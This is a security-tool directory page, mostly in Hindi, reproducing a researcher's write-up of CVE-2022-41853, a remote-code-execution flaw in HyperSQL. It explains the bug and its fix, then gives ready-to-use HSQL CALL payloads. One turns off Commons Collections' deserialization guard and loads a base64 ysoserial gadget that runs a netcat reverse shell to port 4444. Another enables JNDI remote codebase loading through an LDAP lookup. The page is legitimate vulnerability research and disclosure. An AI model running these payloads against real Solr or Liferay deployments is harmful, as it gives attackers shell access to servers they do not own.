Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-41853 — CVE-2022-41853 पर शोध: Java Deserialization और Remote Codebase Attack के माध्यम से स्थैतिक फ़ंक्शनों का उपयोग करके RCE प्राप्त करना | Kitploit
उपकरण/GitHubGitHub/mbadanoiu/cve-2022-41853
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेलोड डेवलपमेंट
GitHubmbadanoiu/cve-2022-41853

CVE-2022-41853

CVE-2022-41853 पर शोध: Java Deserialization और Remote Codebase Attack के माध्यम से स्थैतिक फ़ंक्शनों का उपयोग करके RCE प्राप्त करना

रिपॉजिटरी देखें
212 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-41853 पर शोध: Java Deserialization और Remote Codebase Attack के माध्यम से स्थैतिक फ़ंक्शन का उपयोग करके RCE प्राप्त करना

जो लोग hsqldb (HyperSQL DataBase) में अविश्वसनीय इनपुट को संसाधित करने के लिए java.sql.Statement या java.sql.PreparedStatement का उपयोग करते हैं, वे रिमोट कोड निष्पादन हमले के प्रति संवेदनशील हो सकते हैं। डिफ़ॉल्ट रूप से क्लासपाथ में किसी भी Java वर्ग की किसी भी स्थैतिक विधि को कॉल करने की अनुमति है, जिसके परिणामस्वरूप कोड निष्पादन होता है। इस समस्या को 2.7.1 पर अपडेट करके या सिस्टम प्रॉपर्टी "hsqldb.method_class_names" को उन वर्गों पर सेट करके रोका जा सकता है जिन्हें कॉल करने की अनुमति है। उदाहरण के लिए, System.setProperty("hsqldb.method_class_names", "abc") या Java तर्क -Dhsqldb.method_class_names="abc" का उपयोग किया जा सकता है। संस्करण 2.7.1 से, java.lang.Math को छोड़कर सभी वर्ग डिफ़ॉल्ट रूप से सुलभ नहीं हैं और उन्हें मैन्युअल रूप से सक्षम करने की आवश्यकता है।

प्रकटीकरण:

इस कमजोरी के लिए प्रारंभिक प्रकटीकरण यहां पाया जा सकता है।

मूल खोजकर्ता

OSS-Fuzz टीम
https://github.com/google/oss-fuzz

प्रूफ ऑफ कॉन्सेप्ट:

2021 में, मैं मिखाइल क्लाइचनिकोव का ब्लॉगपोस्ट "Remote Code Execution in F5 Big‑IP" पढ़ रहा था कि कैसे पथ सामान्यीकरण हमला + HSQL "CALL" क्वेरी का उपयोग करके मनमानी Java स्थैतिक विधियों को कॉल किया जा सकता है ताकि RCE प्राप्त किया जा सके।

चूंकि उस समय मैं Apache SOLR में कमजोरियों की रिपोर्टिंग और शोध कर रहा था, मुझे याद आया कि उनका JDBC Stream उदाहरण HSQL का उपयोग करता है और मैंने परीक्षण वातावरण स्थापित करना शुरू किया। Screenshot 2023-11-24 at 12 51 49

नोट: दुर्भाग्य से, यह कमजोरी डिफ़ॉल्ट Apache Solr सर्वरों को प्रभावित नहीं करती है क्योंकि HSQL JAR को विशेष रूप से फ़ोल्डर “./server/solr-webapp/webapp/WEB-INF/lib/” में रखा जाना चाहिए ताकि ड्राइवर Stream JDBC घटक तक पहुँच योग्य हो।

Java Deserialization के माध्यम से RCE

चूंकि F5 में RCE "tmui.jar" (F5 अनुप्रयोगों के लिए विशिष्ट JAR) में स्थित "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" फ़ंक्शन का उपयोग करता है, और मैं एक अनुप्रयोग-स्वतंत्र पेलोड के साथ आना चाहता था, मैंने यह देखना शुरू किया कि मैं स्थैतिक फ़ंक्शन को कॉल करने और RCE प्राप्त करने के लिए सामान्यतः उपयोग किए जाने वाले JAR (जैसे Apache Commons Collections, Apache Log4J) को कैसे श्रृंखलित कर सकता हूँ।

चूंकि ysoserial से CommonsCollections* गैजेट सबसे पहले दिमाग में आए, मैंने Java Deserialization के मार्ग का अनुसरण किया जिसके निम्नलिखित परिणाम सामने आए:

  • असुरक्षित डिसीरियलाइज़ेशन को सक्षम करने के लिए java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') को कॉल करें (जब आप सुरक्षा उपाय को पूरी तरह से हटा सकते हैं तो बायपास क्यों करें :)) )
  • हमारे इनपुट के लिए सिंक के रूप में public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) का उपयोग करें ताकि ObjectInputStream(x).readObject() फ़ंक्शन तक पहुंच सके।
  • हमारे एन्कोडेड ysoserial पेलोड स्ट्रिंग को बाइट एरे में बदलने के लिए public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary​(String encoded) या public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary​(String s) फ़ंक्शन का उपयोग करें जिसे deserialize(byte[] objectData) द्वारा निगला जाएगा।

पूर्ण HSQL पेलोड का निम्नलिखित रूप है:

root@kitploit:~
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))

नोट: इस मामले में ysoserial पेलोड CommonsCollection6 प्रकार का है और ncat -e /bin/bash 127.1 4444 रिवर्स शेल कमांड को निष्पादित करेगा।

नोट 2: स्टैंडअलोन HSQLDB.jar इस पेलोड के प्रति संवेदनशील नहीं है क्योंकि इसमें Apache Commons Collections JAR शामिल नहीं है। यह कमजोरी (अधिकांश समय) तब काम करती है जब HSQL को एक वेब एप्लिकेशन (जैसे SOLR, Liferay, आदि) में शामिल किया जाता है।

अधिक विवरण और शोषण प्रक्रिया इस PDF में पाई जा सकती है।

LDAP या RMI के माध्यम से रिमोट कोडबेस हमले द्वारा RCE

2023 में इस विषय पर पढ़ते हुए, मुझे यह शानदार प्रस्तुति मिली Exploring JNDI Attacks by iSafeBlue जिसमें com.sun.jndi.ldap.object.trustURLCodebase या com.sun.jndi.rmi.object.trustURLCodebase को true पर सेट करने के लिए java.lang.System.setProperty का उपयोग किया गया और फिर Java रिमोट कोडबेस हमले को सफलतापूर्वक करने के लिए LDAP/RMI लुकअप किया गया।

उदाहरण HSQL पेलोड:

root@kitploit:~
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')

परिणाम: Screenshot 2023-11-24 at 13 28 00

नोट: अज्ञात कारणों से यह कमजोरी डिफ़ॉल्ट HSQLDB.jar पर काम करती है, लेकिन यह HSQL + Apache SOLR वातावरण में काम नहीं करती है ¯\_(ツ)_/¯.

टूल डाउनलोड करें